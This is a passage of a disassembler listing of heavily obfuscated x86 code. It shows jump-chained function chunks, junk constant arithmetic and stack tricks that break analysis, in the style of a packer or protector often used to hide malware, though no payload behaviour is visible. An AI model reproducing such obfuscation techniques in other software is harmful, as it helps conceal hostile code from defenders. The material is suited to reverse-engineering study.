loc_42879B ; END OF FUNCTION CHUNK FOR sub_4242A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427881: ; CODE XREF: sub_425BD2+1D8Cj jmp loc_426F24 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42859A loc_427886: ; CODE XREF: sub_42859A+11j mov edx, 0B9726E5Ah push offset sub_425BD2 jmp locret_424207 ; END OF FUNCTION CHUNK FOR sub_42859A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_427895: ; CODE XREF: sub_426671-649j jz loc_423FD3 jmp loc_42631C ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426961 loc_4278A0: ; CODE XREF: sub_426961:loc_42784Bj rol eax, 1Dh or eax, 0F6D1A721h add eax, 4A7172h xchg eax, [esp+0] jmp loc_42681D ; END OF FUNCTION CHUNK FOR sub_426961 ; --------------------------------------------------------------------------- loc_4278B7: ; CODE XREF: hjohnhn9:0042683Bj xchg esi, [eax] ; =============== S U B R O U T I N E ======================================= sub_4278B9 proc near ; CODE XREF: sub_427A58-3B3Dp ; FUNCTION CHUNK AT 0042340D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00423948 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282CE SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov [ebp-4], eax loc_4278C0: ; CODE XREF: sub_427C9B:loc_4246F4j cmp dword ptr [ebp-4], 0 jnz loc_423415 lea eax, [ebp-125h] push eax jmp loc_423948 sub_4278B9 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423425 loc_4278D7: ; CODE XREF: sub_423425+9j jmp loc_4282D8 ; END OF FUNCTION CHUNK FOR sub_423425 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4278DC proc near ; CODE XREF: sub_42387A+2E17j ; sub_428CC9+1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423785 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00423D54 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042438A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00424BA3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424C01 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042515B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427A24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B35 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00427F70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042808F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00428571 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428FEC SIZE 0000001C BYTES push ebp mov ebp, esp push ecx mov esp, ebp xchg edi, [esp+0] mov ebp, edi jmp loc_427F70 sub_4278DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4278EC proc near ; DATA XREF: sub_4262DA+7o ; FUNCTION CHUNK AT 0042382E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042434F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004243F7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042740A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004279E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D42 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00427EAB SIZE 0000001D BYTES mov ds:dword_423940, eax jmp loc_427EAB sub_4278EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4278F6 proc near ; CODE XREF: sub_427A36j ; FUNCTION CHUNK AT 00423B97 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx push offset sub_428E65 jmp loc_423B97 sub_4278F6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_427904: ; CODE XREF: sub_427994-11F8j jz loc_423AE4 jmp loc_42469E ; END OF FUNCTION CHUNK FOR sub_427994 ; =============== S U B R O U T I N E ======================================= sub_42790F proc near ; DATA XREF: sub_426211-1CD9o add edi, 0FD021EE1h mov [edi], eax push offset loc_428FCC jmp loc_426BC5 sub_42790F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_427921: ; CODE XREF: sub_427486:loc_423246j jz loc_428004 ; END OF FUNCTION CHUNK FOR sub_427486 ; START OF FUNCTION CHUNK FOR sub_426354 loc_427927: ; CODE XREF: sub_426354-741j jmp loc_425E20 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_42792C: ; CODE XREF: sub_424877:loc_42465Aj jmp nullsub_66 ; END OF FUNCTION CHUNK FOR sub_424877 ; --------------------------------------------------------------------------- xchg ecx, [esi] mov [ecx], ebx adc edi, 9915B2EFh cdq add ecx, 35122E90h jmp loc_428004 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_427947: ; CODE XREF: sub_42466E:loc_424008j ; sub_4260BD+166Aj shr ecx, 1Bh ; END OF FUNCTION CHUNK FOR sub_42466E ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42794A: ; CODE XREF: sub_4260BD:loc_4282E4j mov byte ptr [ebp-20h], 30h inc dword ptr [ebp-10h] ; END OF FUNCTION CHUNK FOR sub_4260BD ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427951: ; CODE XREF: sub_426354:loc_423350j ; sub_423753+8j ... dec dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 0 jl loc_428DA6 jmp loc_427881 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- test eax, eax jz loc_42476D jmp loc_42500A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_427970: ; CODE XREF: sub_424631-6D1j call sub_427AEB call sub_423548 loc_42797A: ; CODE XREF: sub_424EC9+3B6Cj jmp nullsub_30 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42797F: ; CODE XREF: sub_42466E+1744j jmp sub_4279ED ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_427984: ; CODE XREF: sub_424A78-A7Bj jmp loc_426DAA ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- loc_427989: ; CODE XREF: hjohnhn9:0042506Cj jz loc_42750E jmp loc_4234C3 ; =============== S U B R O U T I N E ======================================= sub_427994 proc near ; CODE XREF: hjohnhn9:0042811Fj ; sub_428BCF+Fp ; FUNCTION CHUNK AT 004239EC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004261F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042678E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427904 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi add esp, 8 mov [ebp-4], eax push 0C81D22B2h pop eax jmp loc_4261F1 sub_427994 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_4279A9: ; CODE XREF: sub_4279C0+63Fj mov eax, [ebp+var_4] xchg edi, [esp+4+var_4] mov ecx, edi pop edi pop ebp retn 4 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4279B6: ; CODE XREF: sub_426A78+7j jmp loc_427B1B ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_4279BB: ; CODE XREF: sub_42363F+4j jmp loc_425C7D ; END OF FUNCTION CHUNK FOR sub_42363F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4279C0 proc near ; CODE XREF: sub_4279C0-1603p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00423D42 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042446C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004249CC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042507B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425E85 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425F5B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004263B1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004279A9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427FF5 SIZE 0000000F BYTES push ebp mov ebp, esp jmp loc_423D42 sub_4279C0 endp ; =============== S U B R O U T I N E ======================================= sub_4279C8 proc near ; DATA XREF: sub_424C5F+Co ; FUNCTION CHUNK AT 00429013 SIZE 00000005 BYTES call sub_4262C5 push offset loc_42903E jmp loc_429013 sub_4279C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427324 loc_4279D7: ; CODE XREF: sub_427324+11A2j mov ds:dword_4252C4, eax retn ; END OF FUNCTION CHUNK FOR sub_427324 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4279DE: ; CODE XREF: sub_424161+1A62j jmp loc_4234B1 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4279E3: ; CODE XREF: sub_428477-3677j jmp loc_4287A5 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_4279E8: ; CODE XREF: sub_4278EC-40B7j jmp loc_427D42 ; END OF FUNCTION CHUNK FOR sub_4278EC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4279ED proc near ; CODE XREF: sub_423B05-CAp ; sub_426F5A-30B5p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004244A3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424AA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C76 SIZE 00000005 BYTES push ebp mov ebp, esp jns sub_4289B2 add esp, 0FFFFFED8h mov [ebp+var_8], edx mov [ebp+var_4], eax jmp loc_424C76 sub_4279ED endp ; =============== S U B R O U T I N E ======================================= sub_427A07 proc near ; DATA XREF: hjohnhn9:004237CDo cmp dword ptr [ebp-8], 0 jz loc_42909E sub_427A07 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426354 loc_427A11: ; CODE XREF: sub_426354+AB9j ; hjohnhn9:00429098j js loc_426302 cmp dword ptr [ebp-1Ch], 0Fh jmp loc_42323C ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- mov ecx, [edx] mov edi, edx ; START OF FUNCTION CHUNK FOR sub_4278DC loc_427A24: ; CODE XREF: sub_4278DC-3B82j jmp sub_428CAF ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- not ebx jmp sub_428D1E ; =============== S U B R O U T I N E ======================================= sub_427A30 proc near ; CODE XREF: sub_426B29:loc_427D8Ep mov eax, 0A0h retn sub_427A30 endp ; =============== S U B R O U T I N E ======================================= sub_427A36 proc near ; CODE XREF: sub_427A58-3B42p ; sub_427E85-3CF7p ... ; FUNCTION CHUNK AT 004262A3 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042888D SIZE 00000005 BYTES js sub_4278F6 push ebp mov ebp, esp jmp loc_4262A3 sub_427A36 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_427A44: ; CODE XREF: sub_423B05:loc_4233E1j add eax, ebp add eax, 48CFDDBEh mov eax, [eax] push offset loc_423D87 jmp nullsub_84 ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_427A58 proc near ; CODE XREF: hjohnhn9:004266C7j ; sub_4284CB-507p ; FUNCTION CHUNK AT 00423F10 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-4], eax mov eax, offset dword_425AEC jmp loc_423F10 sub_427A58 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426BD2 loc_427A69: ; CODE XREF: sub_426BD2:loc_4235C4j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426BD2 ; --------------------------------------------------------------------------- loc_427A6C: ; CODE XREF: hjohnhn9:004235B7j mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jnz loc_426B63 ; START OF FUNCTION CHUNK FOR sub_427B7A loc_427A79: ; CODE XREF: sub_427B7A+4j jmp loc_426B5A ; END OF FUNCTION CHUNK FOR sub_427B7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_427A7E: ; CODE XREF: sub_423BC3+60Aj jz loc_428FAE shl ebp, 1Bh jmp loc_428F9F ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- push ebx mov ebx, ebp xchg ebx, [esp] mov ebp, esp add esp, 0FFFFFFCCh jmp loc_423145 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_427A9C: ; CODE XREF: sub_4265CD-257Cj jnz loc_42352D ; END OF FUNCTION CHUNK FOR sub_4265CD ; START OF FUNCTION CHUNK FOR sub_427C53 loc_427AA2: ; CODE XREF: sub_427C53+9j jmp sub_426F85 ; END OF FUNCTION CHUNK FOR sub_427C53 ; --------------------------------------------------------------------------- ror ebp, 19h xor ebp, 0D5414480h jmp loc_42352B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_427AB5: ; CODE XREF: sub_426354+24A4j jnz loc_428BAC jmp loc_423451 ; END OF FUNCTION CHUNK FOR sub_426354 ; =============== S U B R O U T I N E ======================================= sub_427AC0 proc near ; CODE XREF: hjohnhn9:004237DDj ; sub_42325E:loc_424261p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042390C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00423B3E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424251 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424703 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00424D04 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425C3B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426393 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004283A1 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx push ecx push 8CD3AF68h jmp loc_426393 sub_427AC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_427ACF: ; CODE XREF: sub_424A28+3FA3j jz sub_42677F jmp loc_4284A7 ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- xor edx, 31C7C26Fh and ebp, 901DEA2Fh jmp sub_425BF2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427AEB proc near ; CODE XREF: sub_426749-300Dp ; sub_427C9B-2197p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp jz sub_424377 add esp, 0FFFFFFF8h mov [ebp+var_8], edx mov [ebp+var_4], eax jmp loc_424491 sub_427AEB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42841F loc_427B02: ; CODE XREF: sub_42841F:loc_423810j cdq test eax, 0C9C7E8BAh jmp loc_426588 ; END OF FUNCTION CHUNK FOR sub_42841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_427B0E: ; CODE XREF: sub_424819:loc_426A09j xor eax, 4E22A3B1h add eax, ebp call sub_423FB9 ; END OF FUNCTION CHUNK FOR sub_424819 ; START OF FUNCTION CHUNK FOR sub_426A78 loc_427B1B: ; CODE XREF: sub_426A78:loc_4279B6j push 0FA814B42h pop eax xor eax, 0CA5BD9A7h rol eax, 11h test eax, 200000h jmp loc_423D47 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_427B35: ; CODE XREF: sub_4278DC-3B7Aj push 0BCDFDBAAh mov ecx, ebp loc_427B3C: ; CODE XREF: sub_4278DC:loc_424BA3j call sub_424877 mov edx, 4CB976E9h call sub_4279ED push eax jmp loc_423785 ; END OF FUNCTION CHUNK FOR sub_4278DC ; =============== S U B R O U T I N E ======================================= sub_427B51 proc near ; CODE XREF: hjohnhn9:00423EB2j ; sub_426354-51Fp ; FUNCTION CHUNK AT 00428174 SIZE 0000000F BYTES xchg ecx, [esp+0] pop ecx mov [ebp-8], eax loc_427B58: ; CODE XREF: sub_426354:loc_4262EBj ; sub_426354-4Ej js loc_428174 test byte ptr [ebp-8], 2 jz loc_424C37 jmp sub_4241D2 sub_427B51 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427B6D: ; CODE XREF: hjohnhn9:00426250j jnb loc_424A5E cmp edi, ecx jmp loc_426632 ; =============== S U B R O U T I N E ======================================= sub_427B7A proc near ; CODE XREF: hjohnhn9:00424B7Bj ; hjohnhn9:00428CA5p ; FUNCTION CHUNK AT 00426B5A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427A79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042856C SIZE 00000005 BYTES xchg edi, [esp+0] pop edi jmp loc_427A79 sub_427B7A endp ; sp-analysis failed ; --------------------------------------------------------------------------- call sub_4263C7 loc_427B88: ; CODE XREF: hjohnhn9:004268CEj jmp loc_428A3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_427B8D: ; CODE XREF: sub_426F5A-1E18j jmp loc_427339 ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CCD loc_427B92: ; CODE XREF: sub_423CCD+9j jmp loc_4271DA ; END OF FUNCTION CHUNK FOR sub_423CCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_427B97: ; CODE XREF: sub_425CB3-246Dj jmp loc_4267AC ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_427B9C: ; CODE XREF: sub_423CDB+3A9j ; sub_423CDB:loc_426B13j ... call sub_424877 push 96560501h xchg ebx, [esp+0] mov edx, ebx pop ebx jmp loc_425EFB ; END OF FUNCTION CHUNK FOR sub_423CDB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_427BB2: ; CODE XREF: hjohnhn9:loc_425D60j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_427BB3: ; CODE XREF: sub_4248F9+6j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- loc_427BB5: ; CODE XREF: hjohnhn9:004268D5j mov eax, [ebp-4] call sub_428838 ; START OF FUNCTION CHUNK FOR sub_42325E loc_427BBD: ; CODE XREF: sub_42325E:loc_423265j jz loc_428B4C adc ebx, 3722B6D7h jmp loc_426FE2 ; END OF FUNCTION CHUNK FOR sub_42325E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427BCE proc near ; DATA XREF: sub_4230F2+1o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427380 SIZE 0000000B BYTES mov ebp, esp push ecx mov esp, ebp xchg edi, [esp+4+var_4] mov ebp, edi pop edi mov eax, ds:dword_428B08 or eax, eax jmp loc_427380 sub_427BCE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_427BE6: ; CODE XREF: sub_424161+15j mov eax, [ebp-20h] call sub_426C1C loc_427BEE: ; CODE XREF: sub_42466E-635j jmp loc_42458F ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_427BF3: ; CODE XREF: sub_423B05:loc_423A2Bj ; sub_42387A:loc_4270E3j add eax, 132B10CCh add eax, ebp loc_427BFB: ; CODE XREF: sub_423B05:loc_423648j add eax, 0EE6D4C16h mov eax, [eax] push eax call sub_4237F4 jmp loc_4238B5 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ror esi, 11h sbb edx, esi jmp sub_4289A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_427C18: ; CODE XREF: sub_4262C5:loc_4264EBj add [ebp-0Ah], al xor eax, eax mov al, [ebp-0Ah] shr eax, 4 xor [ebp-0Ah], al inc dword ptr [ebp-8] inc dword ptr [ebp-4] loc_427C2C: ; CODE XREF: hjohnhn9:loc_428A5Bj jmp loc_42761C ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- loc_427C31: ; DATA XREF: sub_4278EC-4DAo cmp al, 0A4h jnz loc_427D5C jmp loc_4274AD ; --------------------------------------------------------------------------- jmp loc_427D5C ; =============== S U B R O U T I N E ======================================= sub_427C43 proc near ; CODE XREF: sub_428183-4E4Aj ; hjohnhn9:00424305p ... push offset loc_424B1C jmp nullsub_36 sub_427C43 endp ; --------------------------------------------------------------------------- loc_427C4D: ; CODE XREF: hjohnhn9:004237B8j mov ds:dword_4252D0, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427C53 proc near ; CODE XREF: sub_426D17-3817p ; hjohnhn9:0042379Fp ... ; FUNCTION CHUNK AT 00427AA2 SIZE 00000005 BYTES push ebp mov ebp, esp jno sub_428D0E jmp loc_427AA2 sub_427C53 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_427C61: ; CODE XREF: sub_427C9B-359Ej mov eax, ebp loc_427C63: ; CODE XREF: sub_427C9B:loc_423433j xor ecx, 0BCAAC869h cmp ecx, 0FCF34Fh jmp loc_424512 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- loc_427C74: ; DATA XREF: sub_4269BD-28A0o mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4252DC[eax*4] mov [ebp-8], eax jmp loc_428368 ; --------------------------------------------------------------------------- sub ebx, ecx cmp esi, 63D9B48Bh jmp loc_425DDE ; --------------------------------------------------------------------------- loc_427C99: ; CODE XREF: hjohnhn9:00426045j xor esi, ecx ; =============== S U B R O U T I N E ======================================= sub_427C9B proc near ; CODE XREF: sub_424161+2506p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423433 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423771 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424208 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424496 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042451C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004246A8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004246F4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424F76 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425AF0 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004260C3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426176 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426870 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426DFA SIZE 00000001 BYTES ; FUNCTION CHUNK AT 00427195 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00427C61 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427E76 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042858D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004289DB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00428E0C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429050 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00429112 SIZE 0000000A BYTES xchg edi, [esp+4+var_4] pop edi add eax, ebp add eax, 9A0058C7h jmp loc_427D2F ; --------------------------------------------------------------------------- not eax jmp loc_426DFA ; --------------------------------------------------------------------------- loc_427CB3: ; CODE XREF: hjohnhn9:loc_426E70j jge loc_4246AB loc_427CB9: ; CODE XREF: sub_426A78-18EBj jmp loc_4260C3 ; --------------------------------------------------------------------------- jbe loc_42627F jmp loc_4246A8 ; --------------------------------------------------------------------------- xchg eax, [edx] jmp sub_4246DB ; --------------------------------------------------------------------------- loc_427CD0: ; DATA XREF: sub_427DE6-1993o push eax push 0 call sub_424345 loc_427CD8: ; DATA XREF: sub_425EA9-169Do or eax, eax jnz locret_427CE5 loc_427CE0: ; CODE XREF: sub_425EA9:loc_424801j call sub_425B19 locret_427CE5: ; CODE XREF: sub_427C9B+3Fj retn ; --------------------------------------------------------------------------- loc_427CE6: ; CODE XREF: hjohnhn9:loc_428626j jl loc_42719E loc_427CEC: ; CODE XREF: sub_426523+1F45j jmp nullsub_78 ; --------------------------------------------------------------------------- js loc_42323C jmp loc_427195 ; --------------------------------------------------------------------------- loc_427CFC: ; CODE XREF: sub_424698:loc_427657j sub edx, 386F283Ah and edx, 7878DEA8h add edx, 7B703C08h call sub_4279ED loc_427D13: ; CODE XREF: sub_42325E:loc_4231DAj push eax jmp loc_424208 ; --------------------------------------------------------------------------- loc_427D19: ; CODE XREF: sub_4250FC-1FDCj test ecx, 400000h jmp loc_427E76 ; --------------------------------------------------------------------------- loc_427D24: ; CODE XREF: sub_425B34:loc_425B43j sub esi, 0E320DB65h jmp loc_425AF0 ; --------------------------------------------------------------------------- loc_427D2F: ; CODE XREF: sub_427C9B+Cj mov eax, [eax] and dword ptr [eax+24h], 7FFFFFFFh push offset loc_426150 jmp nullsub_37 sub_427C9B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_427D42: ; CODE XREF: sub_4278EC:loc_4279E8j jnz loc_4243F7 call sub_425EA9 mov edx, 0E5254649h call sub_427C53 mov ds:dword_423944, eax loc_427D5C: ; CODE XREF: sub_426D6A:loc_426D87j ; hjohnhn9:00427C33j ... mov esp, ebp pop ebp push ds:dword_423944 jmp nullsub_43 ; END OF FUNCTION CHUNK FOR sub_4278EC ; =============== S U B R O U T I N E ======================================= sub_427D6A proc near ; DATA XREF: sub_424EC9+3B67o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004231A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425121 SIZE 0000001B BYTES push 87648E19h pop edi and edi, 36F77563h sub edi, 1D14370Fh jmp loc_4231A3 sub_427D6A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_427D81: ; CODE XREF: sub_427564-3ABAj test ecx, edi jmp loc_428906 ; END OF FUNCTION CHUNK FOR sub_427564 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_427D89: ; CODE XREF: sub_424631+2302j jmp loc_424F28 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426B29 loc_427D8E: ; CODE XREF: sub_426B29-1896j ; sub_426B29-188Aj call sub_427A30 push offset loc_427619 jmp nullsub_38 ; END OF FUNCTION CHUNK FOR sub_426B29 ; =============== S U B R O U T I N E ======================================= sub_427D9D proc near ; DATA XREF: sub_424631:loc_428DD1o ; FUNCTION CHUNK AT 00424ED3 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004264BC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042838D SIZE 00000005 BYTES mov eax, [ebp+8] test byte ptr [eax-10h], 38h jnz loc_423F3D mov eax, [ebp+8] push eax jmp loc_424ED3 sub_427D9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_427DB3: ; CODE XREF: sub_424631:loc_424F09j jnz loc_423662 mov eax, [ebp+8] push offset loc_425BA2 jmp loc_42839C ; END OF FUNCTION CHUNK FOR sub_424631 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_427DC7: ; CODE XREF: sub_42466E+A35j jmp loc_42424B ; END OF FUNCTION CHUNK FOR sub_42466E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42855B loc_427DCD: ; CODE XREF: sub_42855B+6j jmp sub_4230F2 ; END OF FUNCTION CHUNK FOR sub_42855B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_427DD2: ; CODE XREF: sub_4237F4:loc_426B24j pop ebp mov eax, ds:dword_4233A4 or eax, eax jnz loc_42680E jmp loc_426B2F ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= sub_427DE6 proc near ; CODE XREF: 